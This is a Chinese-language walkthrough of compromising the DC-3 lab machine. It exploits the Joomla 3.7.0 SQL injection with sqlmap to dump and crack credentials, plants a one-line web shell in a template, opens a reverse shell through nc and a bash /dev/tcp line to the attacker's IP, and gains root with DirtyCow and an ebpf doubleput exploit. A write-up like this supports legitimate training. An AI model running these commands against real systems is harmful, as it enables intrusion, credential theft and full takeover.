环境搭建:
攻击机kali:
192.168.220.149
靶机DC-3:
192.168.220.155
渗透过程:
查看DC-3的mac地址:

1,扫描网段中得知靶机ip,使用nmap:
nmap -sP 192.168.220.0/24
使用-sP命令进行Ping扫描查询网段活跃主机

确定靶机ip,使用nmap进行详细扫描:
nmap -A -sV 192.168.220.155 -p 1-65535

- 可以看到只开启了80端口,并且CMS为joomla!
- 那么首先访问80端口看看:
- 之后在针对joomla进行渗透

只有唯一的一个flag,没有提示,需要root权限。可能涉及提权
与DC-2相似,joomla也有工具名为joomscan,可以在kali中安装,直接使用joomla进行url扫描
joomscan --url http://192.168.220.155

结果中,爆出admin 登陆页面,joomla版本,并且爆出四个目录列表
在kali中使用searchspolit寻找有无漏洞利用
searchspolit joomla 3.7.0

可以看到有 SQL Injection可以利用,我们将文件复制到当前文件夹
searchsploit -m 42033
or
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomla3.70_injection.txt
cat查看用法:

给出了sqlmap的用法,直接复制使用,将localhost改为靶机即可:
sqlmap -u "http://192.168.220.155/index.php option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
--risk=3 --level=5 --random-agent --dbs -p list[fullordering]
--risk=3 语句深度为3
--level=5 语句测试范围为5等
--dbs 列出所有数据库
--random-agent 随机user-agent
-p 测试参数

1,查询当前数据库
sqlmap -u "http://192.168.220.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
--current-db 当前数据库

2,查询表
sqlmap -u "http://192.168.220.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
-D 限定数据库
--tables 列出所有表

可以看出爆出76个表,发现users表,有很大概率是用户信息和密码,
3,查看表中的列名
sqlmap -u "http://192.168.220.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
-T 限定表
--columns 查询所有列名

将name 和 password 跑出来:
4,脱裤:
sqlmap -u "http://192.168.220.155/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C name,password --dump list[fullordering]
-C 限定列
--dump 列出所有数据

将password 保存 使用john破解
john pass.txt
破解出密码为snoopy
回到上面扫出来的admin登陆页面登录。输入admin 密码snoopy

发现在templates中有Beez3的模版和文件配置:

进入Beez3 Details and Files 中编辑文件
joomla模板的正常根是templates /(模板名称)/

直接在html/modules.php中写上一句话木马

使用蚁剑测试连接

进入蚁剑虚拟终端:
查看当前用户权限

发现权限为www.data 那么最后一步思路应该就是提权 访问/root目录拿到flag
为了方便提权,我们首先反弹shell
攻击机监听1234端口
nc -lvvp 1234

在蚁剑虚拟终端中连接我们的1234端口:
bash -i >& /dev/tcp/192.168.220.149/1234 0>&1

发现语法错误,那就换个方式,使用python脚本
由于tmp缓存目录的权限是777.即可读可写可执行

所以我们将脚本上传到tmp目录下,这样我们的权限也可以执行
上传back.py文件

打开终端到/var/tmp目录下
使用命令进行连接:
python back.py 192.168.220.149 1234

反弹成功!下一步就是提权了
提权:
使用uname -a 与 lsb_release -a 查看系统内核信息与发行版本

提权方法一:
dirtycow(脏牛)提权
我们的内核版本在4.4.0,脏牛范围为Linux内核 >= 2.6.22,所以可以尝试一下脏牛
我们在kali库里查找dirtycow 的相关exp
searchsploit dirty cow

我们使用-m命令将40847.cpp复制到当前目录,并使用蚁剑将它传到靶机的tmp目录中:

在虚拟中进入tmp目录,对cpp文件进行编译:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirty 40847.cpp -lutil
1. -Wall 允许发出GCC能够提供的所有有用的警告
2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3. -O2 编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4. -std=c++11 按C++2011标准编译
5. -pthread 在Linux中要用到多线程时,需要链接pthread库
6. -o dirty gcc生成的目标文件,名字为dirty

使用
./dirty -s

提权成功。读取flag

提权方法二:
寻找ubuntu 16.04 的提权漏洞
我们使用如图的39772.txt

cat查看,发现里面给了exp

下载后上传到靶机的/tmp目录下

解压缩:
unzip 39772.zip


解压exp:
tar xvf exploit.tar

运行sh进行编译
cd ebpf_mapfd_doubleput_exploit
./compile.sh

进行提权:
./doubleput

可以看到,提权已经成功。
进入/root查看flag.txt即可
